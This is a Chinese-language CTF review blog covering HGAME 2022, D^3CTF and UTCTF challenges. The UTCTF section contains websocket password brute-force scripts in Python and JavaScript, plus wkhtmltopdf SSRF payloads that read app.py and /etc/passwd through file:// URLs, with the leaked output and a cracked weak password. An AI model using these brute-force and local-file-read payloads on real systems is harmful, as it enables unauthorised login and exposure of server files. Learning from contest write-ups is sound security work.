CTF比賽覆盤(一)
HGAME 2022
WEB
EASY RSA
下載後發現是一個python原始碼,簡單瀏覽後(我不是看的很懂python和rsa)推測跑一跑出flag(偷懶qwq),執行後發現許多包未下載,用pip逐一安裝,其中Crypto包安裝存在一定問題,參考pip安裝後解決,擴充套件包安裝完畢後發現仍無法執行:cannot import name 'flag' from 'secret'
,寄!
附大佬部落格中的RSA題型總結
蛛蛛...嘿嘿♥我的蛛蛛
根據關卡序號N下方有N個按鈕,其中有某一個可以通往下一關,F12開啟原始碼,尋找有連結的按鈕,100關後進入最後一關,尋找flag,網頁原始碼中並沒有flag,試圖讀取flag.txt失敗,顯示“KEY有毒”(所以是啥呀喂)!
Tetris plus
小遊戲,有三個同色的相互接觸即可得分的消消樂,開心的玩到3000分提示莫得flag(寄)。
D^3CTF
WEB
d3oj
shorter
-
.DS_Store:.DS_Store檔案解析
本題
0x04塊對齊
偏移量表:[
00 00 10 0B, //根塊資訊,標記為0x01號
00 00 00 45,
00 00 00 25,
]
計算位置及大小:
0x01: 100BH => 0000 1011B => 0x1000 //位置,別忘了0x04的偏移 01011B = 11D => 2^11 = 2048 => 1000 0000 0000B => 0x0800 //大小 0x02: 0045H => 0100 0101B => 0x40 2^5 = 32 = 0x20 0x03: 0x25 => 0010 0101B => 0x20 2^5 = 32 = 0x20
得出結論:沒有目錄資訊....(我吐了)
-
_MACOSX:_MACOSX是什麼資料夾
-
SNAPSHOT:Maven快照
-
Docker:Docker菜鳥
UTCTF
UTCTF
WEB
- IP埠範圍[1,65535]
Websockets?
進入登陸頁面,採用"websocket"協議進行使用者登入的連線,用burp抓包後發現要想建立連線需要快速傳送:
- "begin"
- "user ${user}"
- "pass ${password}"
當user與pass的值都正確後才能成功建立連線。F12發現原始碼中有提示密碼位三位數字,編寫指令碼進行爆破即可。
nkk提供了python的爆破指令碼
import asyncio
import websockets
# 向伺服器端認證,使用者名稱密碼通過才能退出迴圈
async def auth_system(websocket, password):
while True:
begin_text = "begin"
username = "user admin"
password = "pass "+ password
await websocket.send(begin_text)
await websocket.send(username)
await websocket.send(password)
response_str = await websocket.recv()
print(password +" " + response_str)
if "badpass" in response_str:
return True
# 客戶端主邏輯
async def main_logic():
Continue = True
password = 100
while Continue:
async with websockets.connect('ws://web1.utctf.live:8651/internal/ws') as websocket:
Continue = await auth_system(websocket, str(password))
password += 1
# await send_msg(websocket)
asyncio.get_event_loop().run_until_complete(main_logic())
嘗試自己編寫js的爆破指令碼(0/1)
3/14 2:28 指令碼編寫已成功(1/1)
async function send_(wss,msg){ //傳送資訊
wss.send(msg);
console.log('sending: '+msg)
}
async function websoc(num){
var ws = new WebSocket('ws://web1.utctf.live:8651/internal/ws'); //建立ws連線
var isOk=false; //標記此次連線的試探結果
await new Promise((resolve,reject) => {
ws.onopen = async function() {
console.log("well open"); //通知連線成功
try{
await send_(ws,'begin'); //按格式傳送資料來建立session
await send_(ws,"user admin");
await send_(ws,"pass "+num); //密碼試探
await new Promise((resolve,reject) => {
setTimeout(resolve,10000) //若十秒內無badpass回顯則此次試探成功
ws.onmessage = (evt) => {
console.log(evt);
if(evt.data=='badpass') { //此次試探失敗,更改標記
isOk=true; //這裡順序可以調換,resolve()不會立即跳出
resolve('pwderr');
}
}
})
if (isOk){
throw new Error("bad pass!") //丟擲試探失敗的err
}
} catch(err) {
console.log(err); //通知試探失敗
}
resolve(); //這裡一定一定要加括號,這樣才是函式呼叫,否則只是引數
};
})
await new Promise((resolve,reject) => {
ws.onclose = function() {
console.log('Connection closed.'); //通知連線斷開
resolve(); //不加括號會出現resolve無效的情況,程式會卡住
};
})
return isOk //返回標記
}
async function main_logic(beg,end){ //輸入密碼爆破的範圍
var running=true;
var num=beg;
while(running && num<=end){ //爆破密碼
console.log("following: "+num) //通知本次試探的num
running = await websoc(num) //試探num
num+=1
}
if(num<=end) console.log("success!") //通知爆破結果
else console.log("failed!")
}
JavaScript下websocket的非同步處理思路:
websocket的連線建立並返回"badpass"後若不繼續傳輸資料,則會產生以下報錯並斷開連線:
VWebSocket connection to 'ws://web1.utctf.live:8651/internal/ws' failed: Invalid frame header
若繼續傳輸無效資料則會返回"error"並正常斷開連線
將onopen
onmessage
onclose
函式分別包裹進promise
中,當條件達成時再結束本次promise
以達到非同步處理的效果,試探失敗就等待連線斷開後重新建立連線
總結:本題涉及"websocket"協議,需瞭解後摸清連線規則,編寫指令碼爆破密碼
參考:[
JavaScript教程-Promise,async/await,
]
HTML2PDF
一個html轉pdf的渲染器
由於可以藉助<iframe src="">
訪問其他網址,故此處存在ssrf漏洞。具體操作不明,放兩個奇怪的程式碼塊用於渲染:
<style>
* {
width: 100%;
height: 95%;
margin: 0;
padding: 0;
}
</style>
<iframe src="javascript:document.write(navigator.userAgent);"> //沒看懂引號中的語法= =
// 遠端是wkhtmltopdf 9.0,此處測試ssrf的可能性
/* app根目錄在/usr/src/app,上傳上去的html在/usr/src/app/隨機數字.htm,上傳的檔案不會刪除 | 來自二師傅的結論 */
<style>
* {
width: 100%;
height: 98%;
margin: 0;
padding: 0;
}
</style>
<iframe src="file:///usr/src/app/app.py"> //獲取app原始碼,怎麼摸清原始碼位置的?
from flask import * #原始碼
import pdfkit
import subprocess
import time
import os
import spwd
import crypt
from hmac import compare_digest as compare_hash
app = Flask(__name__)
@app.route('/', methods=['POST','GET']) ##連線路勁,方法為POST或者GET
def index(): ##主頁
if request.method == 'POST': ##POST方法
html_content = request.form.get('content') ##由表單GET方法得到的content內容
if html_content is None: ##content為空
return render_template('index.html')
if '/environ' in html_content: ##含有/environ路徑
# Don't let them read the flag from /proc/<pid>/environ
return 'Aren''t you sneaky? That''s a good idea, but not the intended solution, so keep trying :)' ##不給你看
# Filenames.
html = render_template('document.html', content=html_content) ##讀取資料?
uid = str(hash(time.time())) # Using a hash of the time ensures unique filenames between requests.
out_filename = uid+'.pdf' ##uid取雜湊為隨機數
html_filename = uid+'.html'
html_file = open(html_filename, 'w')
html_file.write(html) ##用html渲染?
html_file.close()
# Generate PDF.
TIMEOUT = '3'
subprocess.run(['xvfb-run', 'timeout', '--preserve-status', '-k', TIMEOUT, TIMEOUT,
'wkhtmltopdf','--enable-local-file-access', html_filename, out_filename])
##後臺利用wkhtmltopdf渲染pdf
# Cleanup and return result.
out_file = open(out_filename, 'rb')
output = out_file.read()
out_file.close()
#os.remove(out_filename)
#os.remove(html_filename)
response = make_response(output) ##建立響應
response.headers['Content-Type'] = 'application/pdf' ##建立響應頭
response.headers['Content-Disposition'] = 'inline; filename=document.pdf'
return response
return render_template('index.html') ##渲染後返回pdf頁面
@app.route('/admin', methods=['POST','GET']) ##登入頁面在"/admin"下
def adminLogin(): ##登入規則
if request.method == 'POST':
username = request.form.get('username') ##讀取使用者名稱密碼
password = request.form.get('password')
if username is None or password is None: ##若為空
return render_template('login.html')
# Check that username and password match a user in the system.
try:
pw1 = spwd.getspnam(username).sp_pwd ##從密碼庫中取使用者名稱對應的密碼
pw2 = crypt.crypt(password, pw1) ##利用真密碼對輸入密碼二次加密?
if compare_hash(pw2, pw1): ##取雜湊並比較
return render_template('login.html', msg=os.environ['FLAG']) ##通過比較返回flag
else:
return render_template('login.html', msg='Incorrect password!')
except KeyError:
# No such username.
return render_template('login.html', msg='Incorrect username!')
return render_template('login.html')
if __name__ == '__main__':
app.run(host='0.0.0.0')
原始碼中可以看到我們可以訪問"/admin"進入登入介面,登陸成功即可得到flag,可是具體怎麼登陸沒看懂= =
藉助file:///${path}.//.${filename}
協議訪問本地的檔案
file協議對應有一個類似http的遠端訪問,就是ftp協議,即檔案傳輸協議
<style>
* {
width: 100%;
height: 98%;
margin: 0;
padding: 0;
}
</style>
<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:///etc/passwd");x.send();</script>
/*
密碼hash
$1$Rj9G/TPc$e5k/QAhlagK6pxGyfQNJ5.
spwd庫要root才能用,root有許可權讀/etc/shadow
*/
javascript:document.write(navigator.userAgent)
:往檔案寫入瀏覽器http請求頭資訊(標記為javascript語言),接上方語法
<img src=x onerror=document.write(window.location)> <!-- 不知道xml的相關語法 -->
該語句通過XML語句成功讀取本地執行目錄
<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:///etc/passwd");x.send();</script>
<!-- xml語法919 -->
該語句通過xml語句,讓後臺執行讀取本地"/passwd"檔案內容,併發出資料,接收到資料後再寫入我們傳入的檔案中,最後顯示出來。即這是後臺自己讀取發給我們的,而不是我們申請讀取"passwd"內容的(若是直接嘗試讀取passwd會因為許可權不足而失敗)
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:wwwdata:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List
Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting
System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemd-network:x:101:102:systemd Network
Management,,,:/run/systemd/netif:/usr/sbin/nologin systemd-resolve:x:102:103:systemd
Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin messagebus:x:103:105::/nonexistent:/usr/sbin/nologin
avahi:x:104:107:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
geoclue:x:105:108::/var/lib/geoclue:/usr/sbin/nologin dave:x:1000:1000::/home/dave:/bin/bash
john:x:1001:1001::/home/john:/bin/bash emma:x:1002:1002::/home/emma:/bin/bash
WeakPasswordAdmin:x:1003:1003::/home/WeakPasswordAdmin:/bin/bash
好像這裡的都是有效使用者,留意到最後一項為"WeakPasswordadmin"弱密碼使用者,可以以此為使用者名稱並直接爆破出弱密碼為"sunshine",從而登入得到flag!
總結:本題涉及知識點有SSRF漏洞利用,程式碼審計(python),弱密碼爆破。其中SSRF漏洞需要一定的HTML的繞過知識
參考:[
]
Beginner
BabyShark
提示HTTP中有資訊
用wireshark開啟後發現兩條HTTP流,第一條提示曾用GET方法請求過"flag.png"檔案,第二條流是一個PNG檔案的傳輸流,猜測為flag影象,
右鍵PNG欄目(Portable Network Graphics),匯出分組位元組流並儲存為"flag.png"
得到flag
BabyShark2
這個更簡單,提示ftp流有資訊,過濾欄輸入"ftp"提取ftp資訊發現有很多,觀察資訊直接找到flag
WP參考:csn3rd